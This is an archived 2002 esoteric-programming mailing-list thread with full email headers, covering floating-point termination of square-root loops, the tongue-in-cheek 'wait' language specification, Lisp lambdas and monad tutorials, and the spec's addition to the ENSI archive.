> On Wed, Jun 26, 2002 at 01:00:04AM +0200, Milo van Handel wrote:
> > > According to my earlier rule, when $res == ($res + $s / $res) / 2.
> > > Obviously with infinite precision, that could be never if the root is
> > > irrational :-)
> >
> > That's my point.  It never terminates, so it doesn't actually calculate
> > anything.
>
> But as long as the implementation doesn't use infinite precision, it
> indeed would work.

But:
- The language specifications generally do not promise the implementation's
  precision.  We might be using bignum rationals.
- If the implementation does use floating point, the precision thereof is
  probably more accurate than you care about, so you have to wait for digits
  to be calculated that you won't use.
- Perhaps, when you bump into the machine precision, there are some basic
  calculation inaccuracies that perturb $res in a very slight but visible
  way.





From esoteric@oiva.sange.fi Thu Jun 27 07:11:01 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQaR-00032B-00; Thu, 27 Jun 2002 07:08:51 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 07:08:44 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQZm-000324-00; Thu, 27 Jun 2002 07:08:10 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 07:08:02 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQZd-00031x-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 07:08:02 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5R47s215976
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 21:07:54 -0700
Content-Type: text/plain;
  charset="iso-8859-7"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [not quite esoteric, yet] Virtual Machine book
Date: Wed, 26 Jun 2002 21:09:11 -0700
X-Mailer: KMail [version 1.4]
References: <200206252010.04914.cbiffle@safety.net> <000001c21d2f$8d508cd0$3c6b82c3@xpakccp18hkqn8>
In-Reply-To: <000001c21d2f$8d508cd0$3c6b82c3@xpakccp18hkqn8>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206262109.11933.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 25 June 2002 08:58 pm, Al. Andreou wrote:
> Argh... It was "reviewed" by /.? Let me burn my copy then.

You seem to have misinterpreted the part where I said 'anti-Slashdot ferv=
or=20
aside.' :-)  As a BSD user, I may have more reason to loathe Slashdot tha=
n=20
most people I know (as a poster said it once, "Why on earth did a major=20
version release of FreeBSD make the front page?  Post another Linux=20
development kernel incremental patchlevel release.")

-Cliff L. Biffle





From esoteric@oiva.sange.fi Thu Jun 27 07:12:55 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQdq-00032x-00; Thu, 27 Jun 2002 07:12:23 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 07:12:15 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQdb-00032n-00; Thu, 27 Jun 2002 07:12:07 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 07:12:00 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NQdS-00032g-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 07:11:59 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5R4Bu216143
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 21:11:56 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
Date: Wed, 26 Jun 2002 21:13:13 -0700
X-Mailer: KMail [version 1.4]
References: <20020625152955.83734.qmail@web14005.mail.yahoo.com> <20020626054054.GC6431@twcny.rr.com> <3D1A2DEC.E15F2E78@dds.nl>
In-Reply-To: <3D1A2DEC.E15F2E78@dds.nl>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206262113.13855.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Wednesday 26 June 2002 02:11 pm, Milo van Handel wrote:
> But:
> - The language specifications generally do not promise the implementati=
on's
>   precision.  We might be using bignum rationals.
> - If the implementation does use floating point, the precision thereof =
is
>   probably more accurate than you care about, so you have to wait for
> digits to be calculated that you won't use.
> - Perhaps, when you bump into the machine precision, there are some bas=
ic
>   calculation inaccuracies that perturb $res in a very slight but visib=
le
>   way.

Perhaps the comparisons could be against a range of acceptable values.  T=
his=20
is generally a good idea anyway (incrementing a float by 0.1 may never eq=
ual=20
4.0, for example).

-Cliff L. Biffle





From esoteric@oiva.sange.fi Thu Jun 27 09:51:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NT7c-0003Y2-00; Thu, 27 Jun 2002 09:51:16 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 09:51:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NT7H-0003Xq-00; Thu, 27 Jun 2002 09:50:55 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 09:50:48 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NT78-0003Xk-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 09:50:46 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5R6oMX18333
	for <lang@esoteric.sange.fi>; Wed, 26 Jun 2002 23:50:23 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 26 Jun 2002 23:50:16 -0700
Subject: [lang] Re: AW: NS lang
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B94003B8.69D%cristofd@hevanet.com>
In-Reply-To: <3D1A31A6.37D0043C@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> A while ago I came up with a language somewhat related to the above:
>> Syntax: any character in the source file produces a syntax error (though a
>> possible language extension allows C-style comments). This means the only
>> valid program is an empty file.
>> The semantics of a program in this language are those of the time when it's
>> compiled, in time_t format, executed as machine language.
> 
> Isn't this machine dependant?  If you want it to be a true programming
> language, you'll have to specify which machine language...

Yes, it's extremely machine-dependent. However I think this is the least of
its problems, and one of the smaller things separating it from "true"
programming languages, whatever those are. If you want to say this is
actually several languages, one per machine language, I will agree with you.

>> This language is both deterministic and Turing-complete, in an odd way.
> 
> It is?  What if the time matching the program you want has already past?

Wait for it to reappear with a null program preceding it.

>> We
>> can count on time_t to be extended as necessary, so it doesn't matter that
>> it's of finite size at any given time; but most interesting programs also
>> involve waiting longer than the physical universe is expected to last.
> 
> The programs themselves don't wait.  Only the programmer needs to wait, and
> this is done before compile time.  Of course, whenever the wait is, it's still
> just as long...

I said the programs "involve waiting"--not that the programs wait. What I
meant was exactly what you said--the programmer needs to wait for them.
Assuming by "programmer" we mean the person who runs the compiler; the usual
roles get a bit blurry here.

>> On the other hand, it is very easy to write compilers for this language, and
>> most programs in it are quines, or rather the only program in it compiles to
>> a quine most of the time.
> 
> What?  Most programs compile to unrunnable nonsense. However, if the program
> does happen to work, then there's a high chance it'll output its own source
> code, namely nothing.

My point exactly. Regarding most programs compiling to unrunnable nonsense:
-Given that in most machine languages, only a small portion of numbers code
for invalid instructions--and given that a 64-bit time_t should hold any
time in the next billion years--any program compiled in that time is more
likely to compile to runnable nonsense than to unrunnable nonsense. And as
you say, runnable nonsense usually won't get its act together well enough to
produce any output at all.
-However, in machine languages like Intel's, where instructions are not of
uniform length, it is likely that the last instruction will be truncated
partway through. Whether the remnant will be filled in with zeroes or the
program terminated abnormally is implementation-defined.
-Even when the last instruction is complete, it is implementation-defined
what happens after it's executed. My inclination is to have the compiler
provide code for a normal termination right after the time, and hope the
instruction pointer gets there. If it doesn't, because the time contains a
jump to some random spot, the program will probably terminate abnormally; in
fact this is a larger class of "unrunnable nonsense" than programs
containing invalid instructions. Is that part of what you meant? (A third
class is programs containing privileged instructions.) In 32 bits of SPARC
code the chances are under 1/2, if I remember correctly; but in 64 bits I'm
not sure.
-I assume a program has to terminate normally to count as a quine?

>> Maybe call this the wait programming language?
> 
> Perhaps...  You know, I think this language beats the lesser-known programming
> language #13.  Straight from my fortune database, and also findable somewhere
> through Cat's Eye's website:
> 
> THE LESSER-KNOWN PROGRAMMING LANGUAGES #13: SLOBOL
> 
> SLOBOL is best known for the speed, or lack of it, of its compiler.
> Although many compilers allow you to take a coffee break while they
> compile, SLOBOL compilers allow you to travel to Bolivia to pick the
> coffee.  Forty-three programmers are known to have died of boredom
> sitting at their terminals while waiting for a SLOBOL program to
> compile.  Weary SLOBOL programmers often turn to a related (but
> infinitely faster) language, COCAINE.

:)
Beats it in which direction? "wait" would allow you to terraform Mars and
evolve the coffee plant afresh there.
-Daniel.






From esoteric@oiva.sange.fi Thu Jun 27 11:40:06 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NUon-0004AZ-00; Thu, 27 Jun 2002 11:39:57 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 11:39:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NUnv-0004AR-00; Thu, 27 Jun 2002 11:39:03 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 11:38:55 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NUnG-0004AH-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 11:38:54 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5R8cKX19821
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 01:38:20 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 27 Jun 2002 01:38:14 -0700
Subject: [lang] Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9401D06.69F%cristofd@hevanet.com>
In-Reply-To: <002101c21d2c$e8821180$c681ef9b@lennie>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

Hadn't specified it yet. I'll try it now. Let's see.
(Comments and legitimate complaints are welcome.)

----------------

The wait Programming Language Specification.
Version 1.0.

Each implementation must choose some Turing-complete programming language as
a "reference language", and some function mapping the natural numbers to the
programs in the reference language. Each program must be produced by at
least one natural number. The reverse need not be the case, but it seems
desirable that a reasonable percentage of smallish numbers translate to
programs.
(Machine languages will work reasonably well for this purpose, as would Java
byte code or compressed brainfuck. High-level languages, translated via
ASCII, would work very poorly, but would still be acceptable.)

A valid wait program consists of an empty text file; any character in a wait
program constitutes a syntax error, which is fatal, and must be reported.
(An implementation which allows C-style comments, or even a file containing
a single newline character, is not strictly conforming. These are features
of wait++.)

When a wait program is compiled or interpreted, the resulting program has
the same semantics as the program in the reference language which is the
value of the mapping function when applied to the time of compilation or
interpretation, expressed in seconds since the beginning of AD 1970, UTC.
(This last is commonly known as the time_t format.)
The time used must be within the half-second after the command to run the
compiler or interpreter is given.
When the mapping function has an undefined value, the behaviour of the
compiler or interpreter is also undefined. Of course if it maliciously
deletes totally unrelated files, its author is morally reprehensible.

--------------------------

Notes for compiler writers.
Unlike many languages, wait looks vastly easier to compile than to
interpret, at least when the machine language of the machine it's run on is
used as the reference language, which was the original thought. Some small
problems that arise in such a case:
-leading zeroes don't change what natural number it is; so they shouldn't
change what program is produced either. One answer is to ignore this
theoretical difficulty; another is to gerrymander the definition of either
the reference language or the mapping function so as to legitimize the
behaviour of your implementation.
-Practically speaking: What should happen if the last instruction in the
time is cut off halfway through, because instructions are of varying
lengths? Depending on your memory layout, it might get completed with stray
data or you might get some kind of memory protection fault. Which one
happens is undefined by the spec because the sliced instruction means the
program is not a legitimate machine-language program.
-Is the reference-language program responsible for providing the code for a
normal termination? My inclination is to be merciful and have the compiler
provide that code right after the time. Of course if the time contains a
jump instruction to some other place, it's on its own.

> Hello Daniel,
> 
> If you've a language specification for this new language of yours - I would
> be interested in writting a interpreter in Delphi and Java for it.
> 
> Kind Regards,
> 
> Lennie De Villiers
> 
> SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
> Tel:  +27 82 4455949  Fax: +27 82 131 4455949
> Email: ddevilliers@lando.co.za
> Web Address: http://www.lando.co.za/Lennie
> My CV: http://www.lando.co.za/Lennie/CV.htm
> 
> ++++
> 
>> A while ago I came up with a language somewhat related to the above:
>> Syntax: any character in the source file produces a syntax error (though a
>> possible language extension allows C-style comments). This means the only
>> valid program is an empty file.
>> The semantics of a program in this language are those of the time when
> it's
>> compiled, in time_t format, executed as machine language.
>> This language is both deterministic and Turing-complete, in an odd way. We
>> can count on time_t to be extended as necessary, so it doesn't matter that
>> it's of finite size at any given time; but most interesting programs also
>> involve waiting longer than the physical universe is expected to last.
>> On the other hand, it is very easy to write compilers for this language,
> and
>> most programs in it are quines, or rather the only program in it compiles
> to
>> a quine most of the time.
>> Maybe call this the wait programming language?
>> -Daniel.






From esoteric@oiva.sange.fi Thu Jun 27 14:40:02 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXc4-000MjA-00; Thu, 27 Jun 2002 14:39:00 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 14:38:53 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXZf-000Mig-00; Thu, 27 Jun 2002 14:36:31 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 14:36:24 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXZW-000Mia-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 14:36:22 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5RBZjj28051
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:36:06 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5RBZM026331
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:35:22 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Thu, 27 Jun 2002 14:35:22 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
In-Reply-To: <200206181038.01706.cbiffle@safety.net>
Message-ID: <Pine.LNX.4.44.0206271415360.24514-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Tue, 18 Jun 2002, Cliff L. Biffle wrote:
> Not all types support all possible operations, at the moment.  For example, 
> concatenating two integers doesn't make a lot of sense to me.
> Have you played much with Ruby?  It takes an approach similar to the one you 
> describe.

I somewhat dislike Ruby, but the tendency in OO scripting languages 
(Python, Ruby) seems to be having all kinds of operations "hookable" by 
providing methods to do those operations. This is IMO one of the neatest 
things in basic OO...

> > Yeah. Of course, if anonymous functions are _the_ form of iteration, the
> > need for easy building of runtime-determined anonymous functions _will_
> > arise.
> Yes, exactly that problem has sent me rethinking the language.  I liked the 
> theory behind using anonymous functions for all forms of iteration (I 
> considered using them as the blocks of the if/else/then statement as well).  
> However, at the moment it's a little weak for that.

Then there's the possibility of providing extra arguments on the stack,
retrieving them in the anonymous function, and pushing them back in the
anonymous function for use by next iteration. Quite error-prone but not
quite as ugly as building anonymous functions runtime from list
representations.

> > (defun multiply_by (x) (lambda (y) (* x y)))
> Wow, it's been a long time since I've done Lisp.  Am I right in remembering 
> 'lambda' as roughly equivalent to what I've been calling the anonymous 
> function?  i.e. defines a function but doesn't give it a 
> globally-recognizable name?

Exactly.

> > Yeah. Monads are a mathematical construct, and a programming technique
> > comparable to OOP in its generality and range of use - so it's hard to
> > refer to monads in general, because they are too broad a concept.
> I'm coming to realize that. :-)  I'm going to see if I can't find a book.

Here are some pointers (in order of ease of understanding, IMO):
http://www.dcs.gla.ac.uk/~nww/Monad.html
http://www.engr.mun.ca/~theo/Misc/haskell_and_monads.htm
http://www.haskell.org/tutorial/monads.html
http://www.cs.nott.ac.uk/~gmh//bib.html#monparsing
http://cm.bell-labs.com/cm/cs/who/wadler/topics/monads.html#marktoberdorf

Almost all examples are in Haskell. I take advantage of the situation and 
advertise omlib, which has many of these monadic facilities implemented in 
Ocaml (it also has the updatable-state monad in state.ml as State):
http://sange.fi/~atehwa/omlib/

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Thu Jun 27 14:46:53 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXjV-000Mm5-00; Thu, 27 Jun 2002 14:46:41 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 14:46:34 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXj2-000Mlh-00; Thu, 27 Jun 2002 14:46:12 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 14:46:05 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXiv-000Mlb-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 14:46:05 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5RBjSj30216
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:45:49 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5RBjEh26932
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:45:14 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Thu, 27 Jun 2002 14:45:14 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: AW: NS lang
In-Reply-To: <B94003B8.69D%cristofd@hevanet.com>
Message-ID: <Pine.LNX.4.44.0206271443280.24514-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Wed, 26 Jun 2002, Daniel wrote:
> for invalid instructions--and given that a 64-bit time_t should hold any
> time in the next billion years--any program compiled in that time is more
> likely to compile to runnable nonsense than to unrunnable nonsense. And as
> you say, runnable nonsense usually won't get its act together well enough to
> produce any output at all.

By the way, this reminds me of my project "rcodga" (redcode genetic 
algorithms), where warriors were bred, mutated, and printed out of 
bignums. The number of decimals even the shortest programs require are 
quite astounding.

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Thu Jun 27 14:51:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXnu-000MpD-00; Thu, 27 Jun 2002 14:51:14 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 14:51:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXne-000Mp6-00; Thu, 27 Jun 2002 14:50:58 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 14:50:51 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NXnW-000Mp0-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 14:50:50 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5RBoEj31088
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:50:34 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5RBnx627294
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 14:49:59 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Thu, 27 Jun 2002 14:49:59 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
In-Reply-To: <B9401D06.69F%cristofd@hevanet.com>
Message-ID: <Pine.LNX.4.44.0206271447410.24514-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Thu, 27 Jun 2002, Daniel wrote:
> Hadn't specified it yet. I'll try it now. Let's see.
> (Comments and legitimate complaints are welcome.)

I took the liberty of adding this standard to ENSI, as 
http://esoteric.sange.fi/ENSI/wait-1.0.txt

I hope that's okay with you.
I'd like to remind all of you that ENSI is still alive (if not kicking) 
and I'm willing to add whatever specifications you might come up with.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Thu Jun 27 15:36:19 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NYVT-000N4w-00; Thu, 27 Jun 2002 15:36:15 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 15:36:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NYV5-000N4p-00; Thu, 27 Jun 2002 15:35:51 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 15:35:44 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NYUu-000N4S-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 15:35:43 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 13:37:34 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Thu, 27 Jun 2002 13:33:00 +0100
Message-ID: <000401c21dd6$c6db41a0$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <Pine.LNX.4.44.0206271447410.24514-100000@melkinpaasi.cs.Helsinki.FI>
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

Forbidden
You don't have permission to access /ENSI/wait-1.0.txt on this server.

Apache/1.3.26 Server at esoteric.sange.fi Port 80


>On Thu, 27 Jun 2002, Daniel wrote:
> Hadn't specified it yet. I'll try it now. Let's see.
> (Comments and legitimate complaints are welcome.)
>
>I took the liberty of adding this standard to ENSI, as 
>http://esoteric.sange.fi/ENSI/wait-1.0.txt
>
>I hope that's okay with you.
>I'd like to remind all of you that ENSI is still alive (if not kicking) 
>and I'm willing to add whatever specifications you might come up with.
>
>Panu
>
>-- 
>
>Am fuar -> symb <- am fesh
>atehwa@iki.fi





From esoteric@oiva.sange.fi Thu Jun 27 18:48:55 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NbUs-000OHH-00; Thu, 27 Jun 2002 18:47:50 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 18:47:43 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NbRJ-000OGa-00; Thu, 27 Jun 2002 18:44:09 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 18:44:02 +0300 (EEST)
Received: from imo-r02.mx.aol.com ([152.163.225.98])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NbRA-000OGU-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 18:44:00 +0300
Received: from AleksL@aol.com
	by imo-r02.mx.aol.com (mail_out_v32.21.) id o.1e.2a42bf51 (15898)
	 for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 11:43:43 -0400 (EDT)
Received: from  aol.com (mow-m28.webmail.aol.com [64.12.137.5]) by air-id09.mx.aol.com (v86_r1.13) with ESMTP id MAILINID91-0627114343; Thu, 27 Jun 2002 11:43:43 -0400
